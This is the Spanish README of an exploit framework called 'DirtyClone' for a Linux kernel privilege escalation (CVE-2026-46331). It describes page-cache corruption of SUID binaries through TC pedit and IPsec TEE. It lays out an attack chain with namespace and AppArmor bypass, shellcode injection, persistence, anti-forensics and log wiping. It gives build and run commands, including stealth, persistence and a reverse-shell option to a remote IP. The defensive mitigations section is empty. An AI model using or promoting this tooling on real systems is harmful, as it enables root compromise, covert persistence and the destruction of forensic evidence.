DirtyClone Exploit Framework
CVE-2026-46331 — Escalada de Privilegios Local en el Kernel de Linux
Corrupción de Caché de Página TC pedit + IPsec TEE · Kernels afectados: ≤ 6.12.9
╔═══════════════════════════════════════════════════════════════╗
║ ____ _ _ ____ _ ║
║ | _ \(_)_ __| |_ _ _/ ___| | ___ _ __ ___ ║
║ | | | | | '__| __| | | | | | |/ _ \| '_ \ / _ \ ║
║ | |_| | | | | |_| |_| | |___| | (_) | | | | __/ ║
║ |____/|_|_| \__|_, |\____|_|\___/|_| |_|\___| ║
║ |___/ ║
╠═══════════════════════════════════════════════════════════════╣
║ CVE-2026-46331 · v1.0.0 · SOLO PARA INVESTIGACIÓN Y EDUCACIÓN║
╚═══════════════════════════════════════════════════════════════╝

⚠️ SOLO CON FINES EDUCATIVOS Y DE INVESTIGACIÓN
Utilice este framework exclusivamente en entornos de laboratorio aislados que le pertenezcan
o sobre los que tenga autorización explícita por escrito para realizar pruebas.
El uso no autorizado es ilegal y no ético.
📋 Tabla de Contenidos
🔬 Resumen de la Vulnerabilidad
CVE-2026-46331 es una vulnerabilidad de escalada de privilegios local en el kernel de Linux (≤ 6.12.9) causada por una condición de carrera entre la acción pedit de TC (cls_act) y la duplicación de paquetes basada en IPsec TEE.
Causa Raíz
Cuando un paquete atraviesa la ruta de salida de TC con una acción pedit que establece IHL = 15, el subsistema IPsec del kernel recibe un paquete malformado donde el desplazamiento de carga útil IP calculado excede los límites reales del paquete. Bajo operaciones concurrentes de sendfile(2), este desajuste permite que un usuario no privilegiado (dentro de un espacio de nombres de usuario con CAP_NET_ADMIN) corrompa entradas de caché de página de solo lectura de archivos arbitrarios, incluidos binarios SUID.
Impacto
🔗 Cadena de Ataque
Usuario No Privilegiado (UID=1000)
│
▼
[1] Reconocimiento
├─ Verificación de versión del kernel
├─ Disponibilidad de userns
└─ Perfilado del binario objetivo
│
▼
[2] Bypass de Espacio de Nombres
├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
├─ Salto de perfil AppArmor (fallback)
└─ CAP_NET_ADMIN adquirido
│
▼
[3] Infraestructura de Red
├─ clsact qdisc en lo
├─ filtro pedit (IHL=15)
└─ ESP IPsec + TEE
│
▼
[4] Corrupción de Caché de Página
├─ sendfile → disparo de pedit
├─ Entrada de caché de página corrompida
└─ Shellcode escrito en binario de solo lectura
│
▼
[5] Escalada de Privilegios
└─ execve(binario SUID) → shell root
│
▼
[6-8] Post-Explotación
├─ Persistencia (6 mecanismos)
├─ Evasión / Anti-forense
└─ Limpieza de rastros
│
▼
🎯 SHELL ROOT (UID=0 EUID=0)
📁 Estructura del Proyecto
dirtyclone-exploit/
├── Makefile # Sistema de compilación
├── README.md # Este archivo
├── LICENSE # Licencia MIT
│
├── include/
│ ├── exploit.h # Tipos, flags, prototipos principales
│ ├── packet_engine.h # API del motor de creación de paquetes
│ ├── memory_ops.h # API de corrupción de caché de página
│ └── persistence.h # API de mecanismos de persistencia
│
├── src/
│ ├── main.c # Punto de entrada del framework
│ ├── stage_env_analysis.c # Fase 1: Reconocimiento
│ ├── stage_namespace_bypass.c # Fase 2: Bypass de userns
│ ├── stage_network_setup.c # Fase 3: Configuración de TC/IPsec
│ ├── stage_page_cache_corrupt.c # Fase 4: Exploit principal
│ ├── stage_privilege_escalation.c # Fase 5: LPE
│ ├── stage_persistence.c # Fase 6: Persistencia
│ ├── stage_evasion.c # Fase 7: Anti-forense
│ ├── stage_cleanup.c # Fase 8: Eliminación de rastros
│ ├── memory_ops.c # Primitivas de caché de página
│ ├── packet_engine.c # Creación de paquetes sin procesar
│ └── persistence.c # Implementaciones de persistencia
│
├── modules/
│ ├── packet_craft.py # Creador de paquetes Python (Scapy)
│ └── exploit_analyzer.py # Herramienta de análisis previo al exploit
│
├── scripts/
│ ├── setup_env.sh # Instalación de dependencias + compilación
│ ├── cleanup.sh # Limpieza del sistema
│ └── detect_targets.sh # Escáner de binarios vulnerables
│
└── payloads/
└── README.md # Información del directorio de payloads
⚙️ Requisitos
En tiempo de compilación
gcc ≥ 10
make
libcap-dev / libcap-devel
En tiempo de ejecución (objetivo Linux)
- Kernel ≤ 6.12.9
iproute2 (tc, ip)
iptables
- Espacios de nombres de usuario no privilegiados habilitados
Módulos Python (opcional)
🔧 Compilación e Instalación
# Clonar
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit
# Configuración automática (instala dependencias + compila)
sudo bash scripts/setup_env.sh
# Compilación manual
make all
# Compilación debug
make debug
# Limpiar
make clean
🚀 Uso
# Mostrar ayuda
./bin/dirtyclone --help
# Ejecución en seco (solo análisis, sin explotación)
./bin/dirtyclone --test
# Explotación básica (objetivo por defecto: /usr/bin/su)
sudo ./bin/dirtyclone
# Objetivo personalizado con sigilo + persistencia
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist
# Shell inversa
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup
# Detectar objetivos vulnerables primero
bash scripts/detect_targets.sh
🐍 Módulos Python
exploit_analyzer.py — Reconocimiento Previo al Exploit
# Analizar objetivo por defecto
python3 modules/exploit_analyzer.py
# Objetivo personalizado
python3 modules/exploit_analyzer.py --target /usr/bin/sudo
# Salida JSON para automatización
python3 modules/exploit_analyzer.py --json
# Escanear todos los binarios SUID
python3 modules/exploit_analyzer.py --all-suid
packet_craft.py — Disparo de Paquetes Sin Procesar
# Enviar paquetes de exploit en el offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234
# Interfaz personalizada y cantidad de paquetes
sudo python3 modules/packet_craft.py --iface eth0 --count 20
🛡️ Mitigaciones Defensivas
📅 Cronología
📚 Referencias
👤 Autor
VulnQuest · Investigación de Seguridad
Este repositorio se proporciona únicamente con fines educativos.
Todo el código de explotación está destinado a ser utilizado en entornos de laboratorio autorizados.